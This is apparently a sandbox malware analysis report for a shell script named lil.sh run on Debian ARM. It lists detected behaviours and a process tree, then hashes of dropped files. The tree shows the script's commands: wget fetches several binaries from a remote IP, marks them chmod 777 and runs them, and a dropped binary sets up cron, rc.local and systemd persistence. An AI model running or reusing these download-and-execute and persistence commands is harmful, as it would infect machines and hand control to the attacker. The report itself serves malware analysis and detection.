Analysis

  • max time kernel
    149s
  • max time network
    146s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    02/08/2026, 12:44

General

  • Target
    lil.sh
  • Size 840B
  • Sample260802-pypr7stapd
  • SHA256 426b4376bb5ec406e676bc36a8b7b79b9d731055193c34a64ba0ad941d521d0f
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Creates/modifies Cron job 1 TTPs 2 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies rc script 2 TTPs 1 IoCs

    Adding/modifying system rc scripts is a common persistence mechanism.

  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/lil.sh
    /tmp/lil.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:650
    • /bin/ls
      ls -l /proc/1/exe
      2⤵
        PID:652
      • /bin/ls
        ls -l /proc/10/exe
        2⤵
          PID:657
        • /bin/ls
          ls -l /proc/104/exe
          2⤵
            PID:666
          • /bin/ls
            ls -l /proc/11/exe
            2⤵
              PID:671
            • /bin/ls
              ls -l /proc/112/exe
              2⤵
              • Reads runtime system information
              PID:675
            • /bin/ls
              ls -l /proc/114/exe
              2⤵
                PID:676
              • /bin/ls
                ls -l /proc/115/exe
                2⤵
                  PID:679
                • /bin/ls
                  ls -l /proc/12/exe
                  2⤵
                    PID:681
                  • /bin/ls
                    ls -l /proc/13/exe
                    2⤵
                      PID:684
                    • /bin/ls
                      ls -l /proc/14/exe
                      2⤵
                        PID:685
                      • /bin/ls
                        ls -l /proc/140/exe
                        2⤵
                        • Reads runtime system information
                        PID:687
                      • /bin/ls
                        ls -l /proc/142/exe
                        2⤵
                          PID:688
                        • /bin/ls
                          ls -l /proc/143/exe
                          2⤵
                            PID:689
                          • /bin/ls
                            ls -l /proc/15/exe
                            2⤵
                              PID:690
                            • /bin/ls
                              ls -l /proc/157/exe
                              2⤵
                              • Reads runtime system information
                              PID:691
                            • /bin/ls
                              ls -l /proc/16/exe
                              2⤵
                              • Reads runtime system information
                              PID:693
                            • /bin/ls
                              ls -l /proc/17/exe
                              2⤵
                              • Reads runtime system information
                              PID:694
                            • /bin/ls
                              ls -l /proc/175/exe
                              2⤵
                                PID:695
                              • /bin/ls
                                ls -l /proc/18/exe
                                2⤵
                                  PID:696
                                • /bin/ls
                                  ls -l /proc/19/exe
                                  2⤵
                                    PID:697
                                  • /bin/ls
                                    ls -l /proc/2/exe
                                    2⤵
                                    • Reads runtime system information
                                    PID:698
                                  • /bin/ls
                                    ls -l /proc/20/exe
                                    2⤵
                                      PID:699
                                    • /bin/ls
                                      ls -l /proc/21/exe
                                      2⤵
                                        PID:700
                                      • /bin/ls
                                        ls -l /proc/22/exe
                                        2⤵
                                          PID:701
                                        • /bin/ls
                                          ls -l /proc/23/exe
                                          2⤵
                                            PID:702
                                          • /bin/ls
                                            ls -l /proc/231/exe
                                            2⤵
                                            • Reads runtime system information
                                            PID:703
                                          • /bin/ls
                                            ls -l /proc/24/exe
                                            2⤵
                                            • Reads runtime system information
                                            PID:704
                                          • /bin/ls
                                            ls -l /proc/25/exe
                                            2⤵
                                            • Reads runtime system information
                                            PID:705
                                          • /bin/ls
                                            ls -l /proc/26/exe
                                            2⤵
                                              PID:706
                                            • /bin/ls
                                              ls -l /proc/27/exe
                                              2⤵
                                                PID:707
                                              • /bin/ls
                                                ls -l /proc/28/exe
                                                2⤵
                                                  PID:708
                                                • /bin/ls
                                                  ls -l /proc/287/exe
                                                  2⤵
                                                  • Reads runtime system information
                                                  PID:709
                                                • /bin/ls
                                                  ls -l /proc/289/exe
                                                  2⤵
                                                    PID:710
                                                  • /bin/ls
                                                    ls -l /proc/29/exe
                                                    2⤵
                                                    • Reads runtime system information
                                                    PID:711
                                                  • /bin/ls
                                                    ls -l /proc/3/exe
                                                    2⤵
                                                      PID:712
                                                    • /bin/ls
                                                      ls -l /proc/302/exe
                                                      2⤵
                                                        PID:713
                                                      • /bin/ls
                                                        ls -l /proc/308/exe
                                                        2⤵
                                                          PID:714
                                                        • /bin/ls
                                                          ls -l /proc/311/exe
                                                          2⤵
                                                          • Reads runtime system information
                                                          PID:715
                                                        • /bin/ls
                                                          ls -l /proc/314/exe
                                                          2⤵
                                                            PID:716
                                                          • /bin/ls
                                                            ls -l /proc/316/exe
                                                            2⤵
                                                              PID:717
                                                            • /bin/ls
                                                              ls -l /proc/322/exe
                                                              2⤵
                                                                PID:718
                                                              • /bin/ls
                                                                ls -l /proc/326/exe
                                                                2⤵
                                                                  PID:719
                                                                • /bin/ls
                                                                  ls -l /proc/337/exe
                                                                  2⤵
                                                                  • Reads runtime system information
                                                                  PID:720
                                                                • /bin/ls
                                                                  ls -l /proc/4/exe
                                                                  2⤵
                                                                    PID:721
                                                                  • /bin/ls
                                                                    ls -l /proc/41/exe
                                                                    2⤵
                                                                      PID:722
                                                                    • /bin/ls
                                                                      ls -l /proc/42/exe
                                                                      2⤵
                                                                        PID:723
                                                                      • /bin/ls
                                                                        ls -l /proc/43/exe
                                                                        2⤵
                                                                          PID:724
                                                                        • /bin/ls
                                                                          ls -l /proc/5/exe
                                                                          2⤵
                                                                            PID:725
                                                                          • /bin/ls
                                                                            ls -l /proc/571/exe
                                                                            2⤵
                                                                              PID:726
                                                                            • /bin/ls
                                                                              ls -l /proc/591/exe
                                                                              2⤵
                                                                                PID:727
                                                                              • /bin/ls
                                                                                ls -l /proc/592/exe
                                                                                2⤵
                                                                                  PID:728
                                                                                • /bin/ls
                                                                                  ls -l /proc/594/exe
                                                                                  2⤵
                                                                                    PID:729
                                                                                  • /bin/ls
                                                                                    ls -l /proc/6/exe
                                                                                    2⤵
                                                                                      PID:732
                                                                                    • /bin/ls
                                                                                      ls -l /proc/603/exe
                                                                                      2⤵
                                                                                      • Reads runtime system information
                                                                                      PID:734
                                                                                    • /bin/ls
                                                                                      ls -l /proc/638/exe
                                                                                      2⤵
                                                                                        PID:736
                                                                                      • /bin/ls
                                                                                        ls -l /proc/641/exe
                                                                                        2⤵
                                                                                          PID:739
                                                                                        • /bin/ls
                                                                                          ls -l /proc/643/exe
                                                                                          2⤵
                                                                                            PID:741
                                                                                          • /bin/ls
                                                                                            ls -l /proc/645/exe
                                                                                            2⤵
                                                                                              PID:743
                                                                                            • /bin/ls
                                                                                              ls -l /proc/647/exe
                                                                                              2⤵
                                                                                                PID:745
                                                                                              • /bin/ls
                                                                                                ls -l /proc/648/exe
                                                                                                2⤵
                                                                                                  PID:747
                                                                                                • /bin/ls
                                                                                                  ls -l /proc/649/exe
                                                                                                  2⤵
                                                                                                  • Reads runtime system information
                                                                                                  PID:749
                                                                                                • /bin/ls
                                                                                                  ls -l /proc/650/exe
                                                                                                  2⤵
                                                                                                    PID:751
                                                                                                  • /bin/ls
                                                                                                    ls -l /proc/651/exe
                                                                                                    2⤵
                                                                                                      PID:754
                                                                                                    • /bin/ls
                                                                                                      ls -l /proc/7/exe
                                                                                                      2⤵
                                                                                                        PID:755
                                                                                                      • /bin/ls
                                                                                                        ls -l /proc/8/exe
                                                                                                        2⤵
                                                                                                          PID:758
                                                                                                        • /bin/ls
                                                                                                          ls -l /proc/82/exe
                                                                                                          2⤵
                                                                                                            PID:760
                                                                                                          • /bin/ls
                                                                                                            ls -l /proc/9/exe
                                                                                                            2⤵
                                                                                                              PID:762
                                                                                                            • /bin/rm
                                                                                                              rm -rf qjN
                                                                                                              2⤵
                                                                                                                PID:764
                                                                                                              • /usr/bin/wget
                                                                                                                wget http://129.121.110.105/qjN
                                                                                                                2⤵
                                                                                                                • Writes file to tmp directory
                                                                                                                PID:766
                                                                                                              • /bin/chmod
                                                                                                                chmod 777 qjN
                                                                                                                2⤵
                                                                                                                • File and Directory Permissions Modification
                                                                                                                PID:780
                                                                                                              • /tmp/qjN
                                                                                                                ./qjN lilin
                                                                                                                2⤵
                                                                                                                • Creates/modifies Cron job
                                                                                                                • Modifies rc script
                                                                                                                • Modifies systemd
                                                                                                                • Checks CPU configuration
                                                                                                                • Reads runtime system information
                                                                                                                PID:782
                                                                                                                • /usr/local/sbin/systemctl
                                                                                                                  systemctl daemon-reload
                                                                                                                  3⤵
                                                                                                                    PID:802
                                                                                                                  • /usr/local/sbin/systemctl
                                                                                                                    systemctl enable crond.service
                                                                                                                    3⤵
                                                                                                                      PID:803
                                                                                                                    • /usr/local/bin/systemctl
                                                                                                                      systemctl enable crond.service
                                                                                                                      3⤵
                                                                                                                        PID:803
                                                                                                                      • /usr/local/bin/systemctl
                                                                                                                        systemctl daemon-reload
                                                                                                                        3⤵
                                                                                                                          PID:802
                                                                                                                        • /usr/sbin/systemctl
                                                                                                                          systemctl enable crond.service
                                                                                                                          3⤵
                                                                                                                            PID:803
                                                                                                                          • /usr/sbin/systemctl
                                                                                                                            systemctl daemon-reload
                                                                                                                            3⤵
                                                                                                                              PID:802
                                                                                                                            • /usr/bin/systemctl
                                                                                                                              systemctl daemon-reload
                                                                                                                              3⤵
                                                                                                                                PID:802
                                                                                                                              • /usr/bin/systemctl
                                                                                                                                systemctl enable crond.service
                                                                                                                                3⤵
                                                                                                                                  PID:803
                                                                                                                                • /sbin/systemctl
                                                                                                                                  systemctl daemon-reload
                                                                                                                                  3⤵
                                                                                                                                    PID:802
                                                                                                                                  • /sbin/systemctl
                                                                                                                                    systemctl enable crond.service
                                                                                                                                    3⤵
                                                                                                                                      PID:803
                                                                                                                                    • /bin/systemctl
                                                                                                                                      systemctl daemon-reload
                                                                                                                                      3⤵
                                                                                                                                      • Enumerates kernel/hardware configuration
                                                                                                                                      PID:802
                                                                                                                                  • /bin/rm
                                                                                                                                    rm -rf 5Cfo
                                                                                                                                    2⤵
                                                                                                                                      PID:789
                                                                                                                                    • /usr/bin/wget
                                                                                                                                      wget http://129.121.110.105/5Cfo
                                                                                                                                      2⤵
                                                                                                                                        PID:801
                                                                                                                                      • /bin/chmod
                                                                                                                                        chmod 777 5Cfo
                                                                                                                                        2⤵
                                                                                                                                        • File and Directory Permissions Modification
                                                                                                                                        PID:805
                                                                                                                                      • /tmp/5Cfo
                                                                                                                                        ./5Cfo lilin
                                                                                                                                        2⤵
                                                                                                                                          PID:808
                                                                                                                                        • /bin/rm
                                                                                                                                          rm -rf Bll
                                                                                                                                          2⤵
                                                                                                                                            PID:809
                                                                                                                                          • /usr/bin/wget
                                                                                                                                            wget http://129.121.110.105/Bll
                                                                                                                                            2⤵
                                                                                                                                              PID:810
                                                                                                                                            • /bin/chmod
                                                                                                                                              chmod 777 Bll
                                                                                                                                              2⤵
                                                                                                                                              • File and Directory Permissions Modification
                                                                                                                                              PID:812
                                                                                                                                            • /tmp/Bll
                                                                                                                                              ./Bll lilin
                                                                                                                                              2⤵
                                                                                                                                                PID:818
                                                                                                                                              • /bin/rm
                                                                                                                                                rm -rf Gmz
                                                                                                                                                2⤵
                                                                                                                                                  PID:819
                                                                                                                                                • /usr/bin/wget
                                                                                                                                                  wget http://129.121.110.105/Gmz
                                                                                                                                                  2⤵
                                                                                                                                                    PID:826
                                                                                                                                                  • /bin/chmod
                                                                                                                                                    chmod 777 Gmz
                                                                                                                                                    2⤵
                                                                                                                                                    • File and Directory Permissions Modification
                                                                                                                                                    PID:828
                                                                                                                                                  • /tmp/Gmz
                                                                                                                                                    ./Gmz lilin
                                                                                                                                                    2⤵
                                                                                                                                                      PID:829
                                                                                                                                                    • /bin/rm
                                                                                                                                                      rm -rf Okf
                                                                                                                                                      2⤵
                                                                                                                                                        PID:830
                                                                                                                                                      • /usr/bin/wget
                                                                                                                                                        wget http://129.121.110.105/Okf
                                                                                                                                                        2⤵
                                                                                                                                                          PID:831
                                                                                                                                                        • /bin/chmod
                                                                                                                                                          chmod 777 Okf
                                                                                                                                                          2⤵
                                                                                                                                                          • File and Directory Permissions Modification
                                                                                                                                                          PID:833
                                                                                                                                                        • /tmp/Okf
                                                                                                                                                          ./Okf lilin
                                                                                                                                                          2⤵
                                                                                                                                                            PID:834
                                                                                                                                                          • /bin/rm
                                                                                                                                                            rm -rf lil
                                                                                                                                                            2⤵
                                                                                                                                                              PID:835
                                                                                                                                                          • /bin/systemctl
                                                                                                                                                            systemctl enable crond.service
                                                                                                                                                            1⤵
                                                                                                                                                            • Enumerates kernel/hardware configuration
                                                                                                                                                            PID:803

                                                                                                                                                          Network

                                                                                                                                                                MITRE ATT&CK Enterprise v16

                                                                                                                                                                Replay Monitor

                                                                                                                                                                Loading Replay Monitor...

                                                                                                                                                                Downloads

                                                                                                                                                                crond

                                                                                                                                                                • Path /etc/cron.d/crond
                                                                                                                                                                • Size 31B
                                                                                                                                                                • SHA256 9a552d835b75fc192dc6feb85f695f405db4472f7219a7dd13b97bc349d39299
                                                                                                                                                                • MD5 SHA1 SHA512

                                                                                                                                                                rc.local

                                                                                                                                                                • Path /etc/rc.local
                                                                                                                                                                • Size 10B
                                                                                                                                                                • SHA256 a8076d3d28d21e02012b20eaf7dbf75409a6277134439025f282e368e3305abf
                                                                                                                                                                • MD5 SHA1 SHA512

                                                                                                                                                                rc.local

                                                                                                                                                                • Path /etc/rc.local
                                                                                                                                                                • Size 35B
                                                                                                                                                                • SHA256 12480ddf267a258715f790a8137c6c5463c518ec989920067ed1136548d36845
                                                                                                                                                                • MD5 SHA1 SHA512

                                                                                                                                                                crond.service

                                                                                                                                                                • Path /etc/systemd/system/crond.service
                                                                                                                                                                • Size 194B
                                                                                                                                                                • SHA256 5a2a235b20d8c8917320fb36f2a468a152defc28e7079265c56762a0c4e386e5
                                                                                                                                                                • MD5 SHA1 SHA512 TLSH

                                                                                                                                                                lil

                                                                                                                                                                • Path /tmp/lil
                                                                                                                                                                • Size 1B
                                                                                                                                                                • SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
                                                                                                                                                                • MD5 SHA1 SHA512

                                                                                                                                                                qjN

                                                                                                                                                                • Path /tmp/qjN
                                                                                                                                                                • Size 69KB
                                                                                                                                                                • SHA256 9301fe401f22805a5eaeb673d89fb482c9015555e32b7b68495aa7cae78a0e6d
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH